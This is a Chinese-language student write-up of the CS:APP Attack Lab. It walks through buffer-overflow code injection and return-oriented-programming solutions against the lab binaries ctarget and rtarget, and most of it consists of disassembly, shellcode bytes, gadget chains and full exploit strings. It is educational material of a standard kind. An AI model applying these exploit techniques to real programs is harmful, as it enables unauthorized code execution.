Attack Lab
一定要看文档,之前没发觉还有文档,以至于我看完readme陷入了沉思…(呆
writeup-attack lab
Part I: Code Iniection Attacks
反汇编到ctarget.txt 方便分析
yuwxl@yuwxl-virtual-machine:~$ objdump -d ./ctarget > ctarget.txt
test()
getbuf()
对gets()
的解释如下,gets()
对接收的参数长度无限制,放入char buf[]
时很容易buffer overflow
关于BUFFER_SIZE解释,根据机器生成的,是确定的,大概是每个人不一样
关于Gets说明
level1
Level1 Task
test()
调用 getbuf()
,getbuf()
调用Gets()
读取一个字符串并返回,我们要做到是注入一个exploit string
攻击字符串,让程序不返回到test()
,而是到我们的exploit code
,此处的touch1()
touch1()
思路:test()
调用 getbuf()
时会将返回地址入栈,接着getbuf()
在栈上分配自己的空间,getbuf()
的局部变量与返回test()
函数的返回地址紧邻,返回时,设法将返回地址改为touch1()
首地址即可
查看反汇编如下:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
00000000004017c0 <touch1>:
4017c0: 48 83 ec 08 sub $0x8,%rsp
4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel>
4017cb: 00 00 00
4017ce: bf c5 30 40 00 mov $0x4030c5,%edi
4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt>
4017d8: bf 01 00 00 00 mov $0x1,%edi
4017dd: e8 ab 04 00 00 callq 401c8d <validate>
4017e2: bf 00 00 00 00 mov $0x0,%edi
4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
分析
1. 调用getbuf()
时先将返回地址
入栈
2. 4017a8: 48 83 ec 28 sub $0x28,%rsp
, getbuf()
在栈上分配了40个字节
3. 4017ac: 48 89 e7 mov %rsp,%rdi
, 将%rsp
复制到%rdi
,即空间首地址作为参数传入Gets()
,调用Gets()
读取输入字符串放入栈上
4. 当字符串长度在40个字节以内是安全的,40个字节就用完了栈空间,40个字节以上就开始污染到返回test()
的返回地址
,而我们要的就是污染返回地址,让其指向touch1()
4. 00000000004017c0 < touch1 >,touch1()
地址
在level1.txt中写入
主要是后8个字节,前40个只需要消耗掉栈空间就行了,将其作为攻击字符串
注意小端
检验
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00
level2
Level2 Task
同样是在getbuf()
返回时,将程序引导到touch2()
,但是这次还要将cookie
作为参数传入touch2()
,指导书说要将cookie
存在%rdi
touch2()
思路:与Level1
一样,要在getbuf()
返回test()
时,引导程序进入touch2()
,但这次跳转前touch2()
还需要一个放在%rdi
中的cookie
参数,多了将%rdi
设置为cookie
的操作(cookie
已知,在另一文件中)
所以我们要曲线救国了
先跳到自己的函数->自己的函数跳到touch2()
1.将返回地址替换为自己写的函数的首地址,一开始的操作与level1
方法一样,消耗栈空间,污染返回地址
2.自己写的函数可以进行%rdi%
的赋值,然后跳转到touch2()
3.只能用ret转移控制权
于是编写这样一个函数,放在level2.s
mov 0x59b997fa,%rdi #cookie设置
pushq 0x4017ec #touch2()地址入栈,配合ret跳转 00000000004017ec <touch2>:
retq #pop,跳转到touch2()
得到机器代码
yuwxl@yuwxl-virtual-machine:~$ gcc -c level2.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level2.o
level2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
yuwxl@yuwxl-virtual-machine:~$
那么这个函数放在哪呢?
由于我们只能通过注入的字符串进行操作,所以考虑将这个函数放到输入字符串的首位较为简单,即栈顶位置,查看%rsp
(gdb) disas
Dump of assembler code for function getbuf:
0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
=> 0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5561dc78
(gdb)
组合起来,在level2.txt中输入
#前40个字节,占满栈空间
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
#覆盖原本返回到test()的返回地址->替换为自己所写函数的首地址
78 dc 61 55 00 00 00 00 #注意小端
检验:
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
yuwxl@yuwxl-virtual-machine:~$
法二(就是法一换一种方式):
跳转
touch2
时手动将touch2
地址写入栈,不用pop
命令
编写函数为:
mov 0x59b997fa,%rdi #cookie设置
retq #返回,从栈上pop一个地址,栈上放的是touch2的地址
攻击字符串为:
48 c7 c7 fa 97 b9 59 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
ec 17 40 00 00 00 00 00 # 00000000004017ec <touch2>touch2()地址
检验:
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 EC 17 40 00 00 00 00 00
yuwxl@yuwxl-virtual-machine:~$
level3
level3 Task
第三关是干啥呢?看文档
还是在getbuf()
返回时,引导程序到touch3()
,但这次的通关要求是hexmatch(cookie,sval)返回结果为1,即,指针sval所指字符数组与cookie进行比较,那传入存放cookie的地址就好了
hexmatch()
touch3()
思路:这次跳转touch3()
之前不直接传入cookie
,而是要先将cookie
存起来,传入指向cookie
的指针,文档说这个地址也是要存在%rdi
那cookie可以存哪呢?
我们只能通过注入字符串的方式进行我们的操作,那就把cookie
包含在输入字符串中,然后如法炮制,跳转我们自己的函数,进行一系列操作然后跳到touch3()
,所以cookie
可以存在getbuf()
分配的40个字节的区域
但是
在这里要考虑这样一个问题,当我们污染了返回地址,程序跳到了我们自己的函数没错,但同时getbuf()
分配的40个字节的区域已经不属于栈,然后接下来调用touch3()
和hexmatch()
时,会在栈上分配空间,也就是说,那个我们之前存cookie
的那40个字节区域随时可能会被接下来的调用给覆盖,我们的cookie
很危险
文档里也提到了
所以cookie
存在哪里?
getbuf()
开辟的栈帧是不安全的,考虑是否能存入test()
的栈帧(父栈),放入更深的栈,%rsp
之上,返回地址之上八个字节 0x5561dca0+0x8=0x5561dca8
查看getbuf()
汇编得到其栈帧起始地址,即返回地址,然后往上推8个字节,准备从这里开始存放cookie
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401a40 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) print $rsp
$1 = (void *) 0x5561dca0
(gdb)
自己写的函数如下
movq $0x5561dca8,%rdi #$0x5561dca8为存放cookie的地址
pushq $0x4018fa #touch3()首地址
retq# 跳转到touch3()
转换成机器码
yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
yuwxl@yuwxl-virtual-machine:~$
攻击字符串组成为
自己的函数+填充字节+覆盖返回地址+cookie存入返回地址以上
#前两行存放自己的函数的地址
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
#填充,消耗栈空间
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
#替换返回地址
78 dc 61 55 00 00 00 00
#cookie:0x59b997fa ASCII表示的字符串:35 39 62 39 39 37 66 61 00
35 39 62 39 39 37 66 61 00 #cookie存放在getbuf()栈帧之外,安全
cookie转化为字符串并以0结尾
检验
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level3.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
yuwxl@yuwxl-virtual-machine:~$
Part II: Return-oriented Programming
通过已有的可执行代码来完成我们的重定向操作,利用ret,不断跳转,借刀杀人
yuwxl@yuwxl-virtual-machine:~$ objdump -d ./rtarget > ratrget.txt
用ROP
方式攻击上面的level2,level3
为什么之前的攻击不起作用呢?
- 开启了栈随机化,栈的位置在程序每次运行时都有变化,难以预测攻击字符串的位置(空操作雪橇
nop sled
可暴力枚举,太庞大) - 栈空间不允许有可执行指令,限制了可执行代码区域
关于栈随机化(ASLR)的进一步理解
我们可以通过缓冲区来注入可执行代码,但我们也要知道代码开始的位置,所以我们必须预测缓冲区的地址,然后将注入代码的位置正确的放在返回地址上,程序才能正确跳转,但每次运行时getbuf()的栈帧位置不确定,难以预测缓冲区地址
我们能精确的刚好污染到返回地址,前提是我们了解被注入代码的一些信息,比如分配的多少字节的空间,如以上的getbuf()分配了40个字节的空间,然后接下来就是返回地址,我们必须知道被注入代码本身的信息才能完成注入,这跟操作系统等相关
两次查看栈地址不一样
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401b60 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) print $rsp
$2 = (void *) 0x7ffffffb7b58
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/yuwxl/rtarget -q
Cookie: 0x59b997fa
Breakpoint 1, getbuf () at buf.c:12
12 in buf.c
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x00000000004017a8 <+0>: sub $0x28,%rsp
0x00000000004017ac <+4>: mov %rsp,%rdi
0x00000000004017af <+7>: callq 0x401b60 <Gets>
0x00000000004017b4 <+12>: mov $0x1,%eax
0x00000000004017b9 <+17>: add $0x28,%rsp
0x00000000004017bd <+21>: retq
End of assembler dump.
(gdb) print $rsp
$3 = (void *) 0x7ffffffda1f8
(gdb)
所以我们难以注入攻击字符串(不知道地址,跳转不了),即使注入了,也不会正确执行,所以既然不能注入
能否利用已有代码? 分割,重组指令?改变其语义?
来用一个例子理解一下
看汇编代码会发生有趣的事情
48 89 c7
编码了 movq %rax,%rdi
的指令(附录有表),后接c3
,返回指令
该函数起始地址为0x4004d9,以上序列起始地址为0x4004dc
,且这个序列可以将寄存器%rax
的值复制给%rdi
,所以我们可以修改返回地址,让其指向内存中已有的一段指令,如这里的序列,称为gadget
所以
ROP
的策略是?
即使不知道栈在哪里
,但是我们知道代码在哪里,并且依然可以对栈进行操作,随机化不断切换栈的位置,但是全局变量和代码本身的位置没有变,如果我们能知道已存在程序中的某段代码的位置,我们就可以做些事情:
找到所谓的gadget
,gadget
代表部分可执行程序的字节序列,都以c3
(返回指令)结尾,如果我们不以可执行代码填充缓冲区,而是用gadget的地址
,每一句gadget
后面都接c3
(返回指令),我们把一个gadget
的地址放在返回地址,如果能够执行一个ret
,就会从栈上弹出一个地址并且执行,当多个gadget
被放在栈上,每执行一个gadget,ret
返回,弹出下一个地址,执行第2个gadget
,所有的gadget
被连起来
合理的将gadget
组织在栈中,或许可以完成我们要的操作
level2
Level2 Task ROP方式
那既然可以修改返回地址,并且跳转至另一内存地址,干嘛不直接覆盖返回地址,定位到touch2()?
别忘了我们还要进行cookie
的存放操作,此时不能自己写函数了,写了函数也只能通过攻击字符串的方式放在栈上,但这次栈上不能执行指令,而且栈还是随机的(手动狗头
想方设法在已有代码指令中拼凑出我们希望的操作
- 将
cookie
存入%rdi
- 跳转到touch2()
怎么将cookie
存入%rdi
?
- 先把cookie存好,然后
popq %rdi
所以去gadget farm
中找5f - 然后把
touch2()
地址放在下面,坐等着ret
5f
没找出来,,那只能又 曲线救国 * 2
那就在表中选另一个寄存器存,然后再移动过去,比如:
popq %rax #找58
movq %rax,%rdi #找48 89 c7
#选了下面这两个
#gadget1地址为0x4019cc
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
相当于:
popq %rax
nop#无影响
ret
#gadget2地址为0x4019c5
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
再放几个其他选项
58
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
00000000004019b5 <setval_424>:
4019b5: c7 07 54 c2 58 92 movl $0x9258c254,(%rdi)
4019bb: c3 retq
48 89 c7
00000000004019ae <setval_237>:
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
一些注意事项
1.no op
被编码为0x90
,选gadget
时注意其后接90,不会有影响
2. 只能用%rax~%rdi
寄存器
3. 只能用两个gadgets
4. gadge
t在farm
里面找
整理一下攻击思路
缓冲区 |
---|
缓冲区 |
缓冲区 <——栈顶 |
gadget1 的地址 (getbuf() 原本的返回地址) |
cookie |
gadget2 的地址 |
touch2() 的地址 |
攻击字符串为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #前40个只是为了填充缓冲区
cc 19 40 00 00 00 00 00 #返回地址,放上gadget1的地址,跳转到gadget1
fa 97 b9 59 00 00 00 00 #cookie值,gadget1会做一个popq %rax操作,正好pop这个cookie,然后ret,又pop栈上下一个地址
c5 19 40 00 00 00 00 00 #gadget2地址,被pop,所以跳转到gadget2执行movq %rax,%rdi 操作,然后ret
ec 17 40 00 00 00 00 00 # touch2地址
检验
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level2.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
yuwxl@yuwxl-virtual-machine:~$
Level3
和level3
一样,我们要做两件事情
- 将
cookie
的地址存入%rdi
,当做参数 - 跳转到
touch3()
用ROP
的方式
Level3 Task ROP方式
与ROP
的level2
不同在于,这次cookie
需要存放,我们只能通过攻击字符串在栈上操作,但是栈的地址随机,无法预测
如何得到指向cookie
的指针呢?
直接肯定不行,栈是随机的,那我们考虑用已知地址来偏移,如果知道偏移量,可以间接拿到cookie
地址
%rsp
!
%rdi=%rsp+某个偏移量
写下这样的代码:
movq %rsp,%rax
add $0x20,%al #$常数为偏移量,暂时未定
movq %rax,%rdi
或者
movq %rsp,%rax
popq %rsi #%rsi为栈中所存偏移量
lea (%rsi,%rax,1),%rdi
可是gadget farm
里面能找到符合这个的碎片么?
试第一种吧:
movq %rsp,%rax
add 0x08,%rax #0x08为偏移量暂时未定
movq %rax,%rdi
反编译一下
yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 89 e0 mov %rsp,%rax
3: 04 20 add $0x20,%al
5: 48 89 c7 mov %rax,%rdi
yuwxl@yuwxl-virtual-machine:~$
所以要找
- 48 89 e0
- 04 20
- 48 89 c7
1,3都可以在farm
中找到,只是我选的这个偏移量没找到(emm,我要是黑客一定,,日常沮丧
在farm中搜了一下04 ,只有04 37 ,那就04 37吧
yuwxl@yuwxl-virtual-machine:~$ gcc -c level3.s
yuwxl@yuwxl-virtual-machine:~$ objdump -d level3.o
level3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 89 e0 mov %rsp,%rax
3: 04 37 add $0x37,%al #至于为什么不写%rax,可能这样比较简便,对指令来说??(逃,
5: 48 89 c7 mov %rax,%rdi
选取的gadgets
#gadget1地址为0x401a06
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
#gadget2地址为0x4019d8
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
# gadget3地址为0x4019a2
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
整理一下攻击思路
缓冲区 |
---|
缓冲区 |
缓冲区 <——栈顶 |
gadget1 的地址 (getbuf() 原本的返回地址) |
gadget2 的地址 |
gadget3 的地址 |
touch3() 的地址 #00000000004018fa < touch3> |
填充物,使cookie 偏移为0x37 |
cookie 用栈顶地址偏移,这里就是%rsp+0x37 ,偏移量可随意设置,此题gadget 有限 |
攻击字符串为
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 #填满缓冲区
06 1a 40 00 00 00 00 00 #gadget1的地址
d8 19 40 00 00 00 00 00 #gadget2的地址
a2 19 40 00 00 00 00 00 #gadget3的地址
fa 18 40 00 00 00 00 00 #touch3的地址
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 #以gadget1为准偏移0x37,即55,55-24=31,31个填充,使偏移量正确
35 39 62 39 39 37 66 61 00 #cookie字符串
检验
yuwxl@yuwxl-virtual-machine:~$ ./hex2raw < level3.txt | ./rtarget -q
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 D8 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 35 39 62 39 39 37 66 61 00
yuwxl@yuwxl-virtual-machine:~$
注:这个官方文档说难,劝退来着,我这个可能没有按照要求,具体的大家还是看文档为准
总结
ctarget
- 将缓冲区占满,并且还把返回地址占了,换成touch1()首地址,自然就跳转至touch1()
- 将缓冲区占满,并且还把返回地址占了,换成自己函数的首地址(只能也在缓冲区)先做一些操作,然后返回,再跳到touch2()
- 同2,多了一步存
cookie
的操作
rtarget
- 将缓冲区占满,并且还把返回地址占了,换成gadget1的地址,将所需gadget2,3,,,依次排在更深的栈上,通过不断返回,借程序已有代码拼凑完成攻击
- 同1,但多一个用
%rsp
偏移寻址的操作
总之,缓冲区无限制,风险太大,不知道别人给你引哪旮旯去了,,
但Canary机制(这个lab没开启canary),或者函数多一个限制长度的参数就安全得多
自身:对汇编语言不是很熟悉,还有gdb调试,跟着前人的博客磕磕绊绊前进,一开始没有思路,后来就感觉栈上嘛,放哪都行吧,又由于farm
的限制,解法在网络上也是有很多相似,但也可以思考其他的。这个lab中有很多细节我还没研究,可能学习过汇编的经验或者规律对这个lab有更快捷、更拓展的思路。lab很有趣,我bomb还没做完就来了,画出栈的图示会更加清楚,每一次思考都会带来新的理解,有时间会再次总结。
附录(文档中给的表):
注:以上图片来自文档或对应课程ppt